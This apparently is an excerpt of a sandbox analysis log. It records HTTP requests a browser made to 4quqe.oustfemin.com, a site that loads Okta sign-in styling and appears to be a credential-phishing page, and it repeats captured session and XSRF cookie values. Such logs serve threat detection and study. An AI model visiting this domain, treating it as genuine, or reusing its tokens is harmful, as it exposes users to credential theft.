XSRF-TOKEN=eyJpdiI6IlZOV0U5WUg4T1BKb2pHTWFObWI3UFE9PSIsInZhbHVlIjoicC9Dbm9TaVVLNTJsRGtSdWU1N3ZJZ3QvVWdtTDJmRGhhQ2JNMGUvckM4aU9HOHArT2VVSDlVcnNJb2dJaHMrOUhxRldESVRjdFVTOXovWC9yUDlLcS9vVkVLQWtENzRmY2VOeCs3TGEySVg2b0I3OGh0WEo3eEFvUDFURlpVQTgiLCJtYWMiOiI1ZWIzMzJmMmRiNjFkYzMzZDkyYTM3OTMyYTFjZWI1YzgxZWYzMTYwOTE5MTI0YzFiYzZmMDQ2YTE4NzNjNTYwIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlpSLzZ3c3lreEg5d1JqTitFVFpnYkE9PSIsInZhbHVlIjoiNFYyamREZXlGbjVPYlNoZTNXUHB3d0VMdURFbUFsUTFWM2JONi9FdUR5aE1rUiszU2xPZ01XbkcvbVlkY2hDeHpRdnI1OWw1dXF4blFFRnd6S0tTQjlQTkFlVjA1cktxRkJVZFpCcThLWE5idFFsdE5aWk53UkEyN3FIT2E4d3EiLCJtYWMiOiI4NjY3MDkyMjljMjA0MWM1ZjJlODMwNDAwOWUxZmViMTQxNmIwNzQ4NzhmMDM1ZDZjYWIxZWMyNDBiZWI2MmUzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /abPMvyMi4BP6pqRcd30 HTTP/1.1Host: 4quqe.oustfemin.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://4quqe.oustfemin.com/UBEEARDRFZBLCIYKXAUWBWRAHOCMNEGDQH2433266666869621683651896985349085yhwb2tjkdd31cqa3v86btzc56cuaqwuv36?guhzhqadixxzzfhbiawieewvbiufnckvcamtf392tn15ul1pchape2e3xncc1p6b0dAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlZOV0U5WUg4T1BKb2pHTWFObWI3UFE9PSIsInZhbHVlIjoicC9Dbm9TaVVLNTJsRGtSdWU1N3ZJZ3QvVWdtTDJmRGhhQ2JNMGUvckM4aU9HOHArT2VVSDlVcnNJb2dJaHMrOUhxRldESVRjdFVTOXovWC9yUDlLcS9vVkVLQWtENzRmY2VOeCs3TGEySVg2b0I3OGh0WEo3eEFvUDFURlpVQTgiLCJtYWMiOiI1ZWIzMzJmMmRiNjFkYzMzZDkyYTM3OTMyYTFjZWI1YzgxZWYzMTYwOTE5MTI0YzFiYzZmMDQ2YTE4NzNjNTYwIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlpSLzZ3c3lreEg5d1JqTitFVFpnYkE9PSIsInZhbHVlIjoiNFYyamREZXlGbjVPYlNoZTNXUHB3d0VMdURFbUFsUTFWM2JONi9FdUR5aE1rUiszU2xPZ01XbkcvbVlkY2hDeHpRdnI1OWw1dXF4blFFRnd6S0tTQjlQTkFlVjA1cktxRkJVZFpCcThLWE5idFFsdE5aWk53UkEyN3FIT2E4d3EiLCJtYWMiOiI4NjY3MDkyMjljMjA0MWM1ZjJlODMwNDAwOWUxZmViMTQxNmIwNzQ4NzhmMDM1ZDZjYWIxZWMyNDBiZWI2MmUzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /pqpqRMJ4f8kf8yzq5wjwx36 HTTP/1.1Host: 4quqe.oustfemin.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://4quqe.oustfemin.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://4quqe.oustfemin.com/UBEEARDRFZBLCIYKXAUWBWRAHOCMNEGDQH2433266666869621683651896985349085yhwb2tjkdd31cqa3v86btzc56cuaqwuv36?guhzhqadixxzzfhbiawieewvbiufnckvcamtf392tn15ul1pchape2e3xncc1p6b0dAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlZOV0U5WUg4T1BKb2pHTWFObWI3UFE9PSIsInZhbHVlIjoicC9Dbm9TaVVLNTJsRGtSdWU1N3ZJZ3QvVWdtTDJmRGhhQ2JNMGUvckM4aU9HOHArT2VVSDlVcnNJb2dJaHMrOUhxRldESVRjdFVTOXovWC9yUDlLcS9vVkVLQWtENzRmY2VOeCs3TGEySVg2b0I3OGh0WEo3eEFvUDFURlpVQTgiLCJtYWMiOiI1ZWIzMzJmMmRiNjFkYzMzZDkyYTM3OTMyYTFjZWI1YzgxZWYzMTYwOTE5MTI0YzFiYzZmMDQ2YTE4NzNjNTYwIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlpSLzZ3c3lreEg5d1JqTitFVFpnYkE9PSIsInZhbHVlIjoiNFYyamREZXlGbjVPYlNoZTNXUHB3d0VMdURFbUFsUTFWM2JONi9FdUR5aE1rUiszU2xPZ01XbkcvbVlkY2hDeHpRdnI1OWw1dXF4blFFRnd6S0tTQjlQTkFlVjA1cktxRkJVZFpCcThLWE5idFFsdE5aWk53UkEyN3FIT2E4d3EiLCJtYWMiOiI4NjY3MDkyMjljMjA0MWM1ZjJlODMwNDAwOWUxZmViMTQxNmIwNzQ4NzhmMDM1ZDZjYWIxZWMyNDBiZWI2MmUzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /12zn8d0uaFJ78HnWlT1iop49 HTTP/1.1Host: 4quqe.oustfemin.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://4quqe.oustfemin.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://4quqe.oustfemin.com/UBEEARDRFZBLCIYKXAUWBWRAHOCMNEGDQH2433266666869621683651896985349085yhwb2tjkdd31cqa3v86btzc56cuaqwuv36?guhzhqadixxzzfhbiawieewvbiufnckvcamtf392tn15ul1pchape2e3xncc1p6b0dAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlZOV0U5WUg4T1BKb2pHTWFObWI3UFE9PSIsInZhbHVlIjoicC9Dbm9TaVVLNTJsRGtSdWU1N3ZJZ3QvVWdtTDJmRGhhQ2JNMGUvckM4aU9HOHArT2VVSDlVcnNJb2dJaHMrOUhxRldESVRjdFVTOXovWC9yUDlLcS9vVkVLQWtENzRmY2VOeCs3TGEySVg2b0I3OGh0WEo3eEFvUDFURlpVQTgiLCJtYWMiOiI1ZWIzMzJmMmRiNjFkYzMzZDkyYTM3OTMyYTFjZWI1YzgxZWYzMTYwOTE5MTI0YzFiYzZmMDQ2YTE4NzNjNTYwIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlpSLzZ3c3lreEg5d1JqTitFVFpnYkE9PSIsInZhbHVlIjoiNFYyamREZXlGbjVPYlNoZTNXUHB3d0VMdURFbUFsUTFWM2JONi9FdUR5aE1rUiszU2xPZ01XbkcvbVlkY2hDeHpRdnI1OWw1dXF4blFFRnd6S0tTQjlQTkFlVjA1cktxRkJVZFpCcThLWE5idFFsdE5aWk53UkEyN3FIT2E4d3EiLCJtYWMiOiI4NjY3MDkyMjljMjA0MWM1ZjJlODMwNDAwOWUxZmViMTQxNmIwNzQ4NzhmMDM1ZDZjYWIxZWMyNDBiZWI2MmUzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /56cgfpYt7Gg84zQmfk45CqywRSAPguv56 HTTP/1.1Host: 4quqe.oustfemin.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://4quqe.oustfemin.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://4quqe.oustfemin.com/UBEEARDRFZBLCIYKXAUWBWRAHOCMNEGDQH2433266666869621683651896985349085yhwb2tjkdd31cqa3v86btzc56cuaqwuv36?guhzhqadixxzzfhbiawieewvbiufnckvcamtf392tn15ul1pchape2e3xncc1p6b0dAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlZOV0U5WUg4T1BKb2pHTWFObWI3UFE9PSIsInZhbHVlIjoicC9Dbm9TaVVLNTJsRGtSdWU1N3ZJZ3QvVWdtTDJmRGhhQ2JNMGUvckM4aU9HOHArT2VVSDlVcnNJb2dJaHMrOUhxRldESVRjdFVTOXovWC9yUDlLcS9vVkVLQWtENzRmY2VOeCs3TGEySVg2b0I3OGh0WEo3eEFvUDFURlpVQTgiLCJtYWMiOiI1ZWIzMzJmMmRiNjFkYzMzZDkyYTM3OTMyYTFjZWI1YzgxZWYzMTYwOTE5MTI0YzFiYzZmMDQ2YTE4NzNjNTYwIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlpSLzZ3c3lreEg5d1JqTitFVFpnYkE9PSIsInZhbHVlIjoiNFYyamREZXlGbjVPYlNoZTNXUHB3d0VMdURFbUFsUTFWM2JONi9FdUR5aE1rUiszU2xPZ01XbkcvbVlkY2hDeHpRdnI1OWw1dXF4blFFRnd6S0tTQjlQTkFlVjA1cktxRkJVZFpCcThLWE5idFFsdE5aWk53UkEyN3FIT2E4d3EiLCJtYWMiOiI4NjY3MDkyMjljMjA0MWM1ZjJlODMwNDAwOWUxZmViMTQxNmIwNzQ4NzhmMDM1ZDZjYWIxZWMyNDBiZWI2MmUzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /45BUs76lI5VisV6D7NxeT90YLF5l4Exy70 HTTP/1.1Host: 4quqe.oustfemin.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://4quqe.oustfemin.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://4quqe.oustfemin.com/UBEEARDRFZBLCIYKXAUWBWRAHOCMNEGDQH2433266666869621683651896985349085yhwb2tjkdd31cqa3v86btzc56cuaqwuv36?guhzhqadixxzzfhbiawieewvbiufnckvcamtf392tn15ul1pchape2e3xncc1p6b0dAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlZOV0U5WUg4T1BKb2pHTWFObWI3UFE9PSIsInZhbHVlIjoicC9Dbm9TaVVLNTJsRGtSdWU1N3ZJZ3QvVWdtTDJmRGhhQ2JNMGUvckM4aU9HOHArT2VVSDlVcnNJb2dJaHMrOUhxRldESVRjdFVTOXovWC9yUDlLcS9vVkVLQWtENzRmY2VOeCs3TGEySVg2b0I3OGh0WEo3eEFvUDFURlpVQTgiLCJtYWMiOiI1ZWIzMzJmMmRiNjFkYzMzZDkyYTM3OTMyYTFjZWI1YzgxZWYzMTYwOTE5MTI0YzFiYzZmMDQ2YTE4NzNjNTYwIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlpSLzZ3c3lreEg5d1JqTitFVFpnYkE9PSIsInZhbHVlIjoiNFYyamREZXlGbjVPYlNoZTNXUHB3d0VMdURFbUFsUTFWM2JONi9FdUR5aE1rUiszU2xPZ01XbkcvbVlkY2hDeHpRdnI1OWw1dXF4blFFRnd6S0tTQjlQTkFlVjA1cktxRkJVZFpCcThLWE5idFFsdE5aWk53UkEyN3FIT2E4d3EiLCJtYWMiOiI4NjY3MDkyMjljMjA0MWM1ZjJlODMwNDAwOWUxZmViMTQxNmIwNzQ4NzhmMDM1ZDZjYWIxZWMyNDBiZWI2MmUzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /recaptcha/api.js HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CIu2yQEIprbJAQipncoBCLbgygEIlKHLAQj2mM0BCIWgzQEIucrNAQiJ080BGMvYzQEY642lFw==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://4quqe.oustfemin.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fent/randexp.js/releases/download/v0.4.3/randexp.min.js HTTP/1.1Host: github.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://4quqe.oustfemin.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /4.6.0/socket.io.min.js HTTP/1.1Host: cdn.socket.ioConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://4quqe.oustfemin.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/js/sdk/okta-signin-widget/7.18.0/css/okta-sign-in.min.css HTTP/1.1Host: ok4static.oktacdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://4quqe.oustfemin.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/loginpage/css/loginpage-theme.e0d37a504604ef874bad26435d62011f.css HTTP/1.1Host: ok4static.oktacdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://4quqe.oustfemin.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /recaptcha/api.js HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CIu2yQEIprbJAQipncoBCLbgygEIlKHLAQj2mM0BCIWgzQEIucrNAQiJ080BGMvYzQEY642lFw==Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /github-production-release-asset-2e65be/2925284/11f3acf8-4ccb-11e6-8ce4-c179c0a212de?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=releaseassetproduction%2F20240823%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20240823T142154Z&X-Amz-Expires=300&X-Amz-Signature=addaa2fb7613bd2240d82063b941692dc1cffc01a094b5cf196222983477917b&X-Amz-SignedHeaders=host&actor_id=0&key_id=0&repo_id=2925284&response-content-disposition=attachment%3B%20filename%3Drandexp.min.js&response-content-type=application%2Foctet-stream HTTP/1.1Host: objects.githubusercontent.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://4quqe.oustfemin.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /4.6.0/socket.io.min.js HTTP/1.1Host: cdn.socket.ioConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /90BwLzMpuCNIPc12Bxo7mGwVuU4yz71 HTTP/1.1Host: 4quqe.oustfemin.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://4quqe.oustfemin.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://4quqe.oustfemin.com/UBEEARDRFZBLCIYKXAUWBWRAHOCMNEGDQH2433266666869621683651896985349085yhwb2tjkdd31cqa3v86btzc56cuaqwuv36?guhzhqadixxzzfhbiawieewvbiufnckvcamtf392tn15ul1pchape2e3xncc1p6b0dAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlZOV0U5WUg4T1BKb2pHTWFObWI3UFE9PSIsInZhbHVlIjoicC9Dbm9TaVVLNTJsRGtSdWU1N3ZJZ3QvVWdtTDJmRGhhQ2JNMGUvckM4aU9HOHArT2VVSDlVcnNJb2dJaHMrOUhxRldESVRjdFVTOXovWC9yUDlLcS9vVkVLQWtENzRmY2VOeCs3TGEySVg2b0I3OGh0WEo3eEFvUDFURlpVQTgiLCJtYWMiOiI1ZWIzMzJmMmRiNjFkYzMzZDkyYTM3OTMyYTFjZWI1YzgxZWYzMTYwOTE5MTI0YzFiYzZmMDQ2YTE4NzNjNTYwIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlpSLzZ3c3lreEg5d1JqTitFVFpnYkE9PSIsInZhbHVlIjoiNFYyamREZXlGbjVPYlNoZTNXUHB3d0VMdURFbUFsUTFWM2JONi9FdUR5aE1rUiszU2xPZ01XbkcvbVlkY2hDeHpRdnI1OWw1dXF4blFFRnd6S0tTQjlQTkFlVjA1cktxRkJVZFpCcThLWE5idFFsdE5aWk53UkEyN3FIT2E4d3EiLCJtYWMiOiI4NjY3MDkyMjljMjA0MWM1ZjJlODMwNDAwOWUxZmViMTQxNmIwNzQ4NzhmMDM1ZDZjYWIxZWMyNDBiZWI2MmUzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /cd4G6HI3Ijg6dT2j134OjSKyPSpkkl94 HTTP/1.1Host: 4quqe.oustfemin.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://4quqe.oustfemin.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://4quqe.oustfemin.com/UBEEARDRFZBLCIYKXAUWBWRAHOCMNEGDQH2433266666869621683651896985349085yhwb2tjkdd31cqa3v86btzc56cuaqwuv36?guhzhqadixxzzfhbiawieewvbiufnckvcamtf392tn15ul1pchape2e3xncc1p6b0dAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlZOV0U5WUg4T1BKb2pHTWFObWI3UFE9PSIsInZhbHVlIjoicC9Dbm9TaVVLNTJsRGtSdWU1N3ZJZ3QvVWdtTDJmRGhhQ2JNMGUvckM4aU9HOHArT2VVSDlVcnNJb2dJaHMrOUhxRldESVRjdFVTOXovWC9yUDlLcS9vVkVLQWtENzRmY2VOeCs3TGEySVg2b0I3OGh0WEo3eEFvUDFURlpVQTgiLCJtYWMiOiI1ZWIzMzJmMmRiNjFkYzMzZDkyYTM3OTMyYTFjZWI1YzgxZWYzMTYwOTE5MTI0YzFiYzZmMDQ2YTE4NzNjNTYwIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlpSLzZ3c3lreEg5d1JqTitFVFpnYkE9PSIsInZhbHVlIjoiNFYyamREZXlGbjVPYlNoZTNXUHB3d0VMdURFbUFsUTFWM2JONi9FdUR5aE1rUiszU2xPZ01XbkcvbVlkY2hDeHpRdnI1OWw1dXF4blFFRnd6S0tTQjlQTkFlVjA1cktxRkJVZFpCcThLWE5idFFsdE5aWk53UkEyN3FIT2E4d3EiLCJtYWMiOiI4NjY3MDkyMjljMjA0MWM1ZjJlODMwNDAwOWUxZmViMTQxNmIwNzQ4NzhmMDM1ZDZjYWIxZWMyNDBiZWI2MmUzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /34tXF5vOTwPWG7ghRSTWNCY8U9mB4O89110 HTTP/1.1Host: 4quqe.oustfemin.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://4quqe.oustfemin.com/UBEEARDRFZBLCIYKXAUWBWRAHOCMNEGDQH2433266666869621683651896985349085yhwb2tjkdd31cqa3v86btzc56cuaqwuv36?guhzhqadixxzzfhbiawieewvbiufnckvcamtf392tn15ul1pchape2e3xncc1p6b0dAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlZOV0U5WUg4T1BKb2pHTWFObWI3UFE9PSIsInZhbHVlIjoicC9Dbm9TaVVLNTJsRGtSdWU1N3ZJZ3QvVWdtTDJmRGhhQ2JNMGUvckM4aU9HOHArT2VVSDlVcnNJb2dJaHMrOUhxRldESVRjdFVTOXovWC9yUDlLcS9vVkVLQWtENzRmY2VOeCs3TGEySVg2b0I3OGh0WEo3eEFvUDFURlpVQTgiLCJtYWMiOiI1ZWIzMzJmMmRiNjFkYzMzZDkyYTM3OTMyYTFjZWI1YzgxZWYzMTYwOTE5MTI0YzFiYzZmMDQ2YTE4NzNjNTYwIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlpSLzZ3c3lreEg5d1JqTitFVFpnYkE9PSIsInZhbHVlIjoiNFYyamREZXlGbjVPYlNoZTNXUHB3d0VMdURFbUFsUTFWM2JONi9FdUR5aE1rUiszU2xPZ01XbkcvbVlkY2hDeHpRdnI1OWw1dXF4blFFRnd6S0tTQjlQTkFlVjA1cktxRkJVZFpCcThLWE5idFFsdE5aWk53UkEyN3FIT2E4d3EiLCJtYWMiOiI4NjY3MDkyMjljMjA0MWM1ZjJlODMwNDAwOWUxZmViMTQxNmIwNzQ4NzhmMDM1ZDZjYWIxZWMyNDBiZWI2MmUzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ijPcVEeSmCWpySyuFQYrrGLm25YHKajvsXLAqraImEwhmVt1OeTi6J3V3vyz230 HTTP/1.1Host: 4quqe.oustfemin.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://4quqe.oustfemin.com/UBEEARDRFZBLCIYKXAUWBWRAHOCMNEGDQH2433266666869621683651896985349085yhwb2tjkdd31cqa3v86btzc56cuaqwuv36?guhzhqadixxzzfhbiawieewvbiufnckvcamtf392tn15ul1pchape2e3xncc1p6b0dAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlZOV0U5WUg4T1BKb2pHTWFObWI3UFE9PSIsInZhbHVlIjoicC9Dbm9TaVVLNTJsRGtSdWU1N3ZJZ3QvVWdtTDJmRGhhQ2JNMGUvckM4aU9HOHArT2VVSDlVcnNJb2dJaHMrOUhxRldESVRjdFVTOXovWC9yUDlLcS9vVkVLQWtENzRmY2VOeCs3TGEySVg2b0I3OGh0WEo3eEFvUDFURlpVQTgiLCJtYWMiOiI1ZWIzMzJmMmRiNjFkYzMzZDkyYTM3OTMyYTFjZWI1YzgxZWYzMTYwOTE5MTI0YzFiYzZmMDQ2YTE4NzNjNTYwIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlpSLzZ3c3lreEg5d1JqTitFVFpnYkE9PSIsInZhbHVlIjoiNFYyamREZXlGbjVPYlNoZTNXUHB3d0VMdURFbUFsUTFWM2JONi9FdUR5aE1rUiszU2xPZ01XbkcvbVlkY2hDeHpRdnI1OWw1dXF4blFFRnd6S0tTQjlQTkFlVjA1cktxRkJVZFpCcThLWE5idFFsdE5aWk53UkEyN3FIT2E4d3EiLCJtYWMiOiI4NjY3MDkyMjljMjA0MWM1ZjJlODMwNDAwOWUxZmViMTQxNmIwNzQ4NzhmMDM1ZDZjYWIxZWMyNDBiZWI2MmUzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /github-production-release-asset-2e65be/2925284/11f3acf8-4ccb-11e6-8ce4-c179c0a212de?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=releaseassetproduction%2F20240823%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20240823T142154Z&X-Amz-Expires=300&X-Amz-Signature=addaa2fb7613bd2240d82063b941692dc1cffc01a094b5cf196222983477917b&X-Amz-SignedHeaders=host&actor_id=0&key_id=0&repo_id=2925284&response-content-disposition=attachment%3B%20filename%3Drandexp.min.js&response-content-type=application%2Foctet-stream HTTP/1.1Host: objects.githubusercontent.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
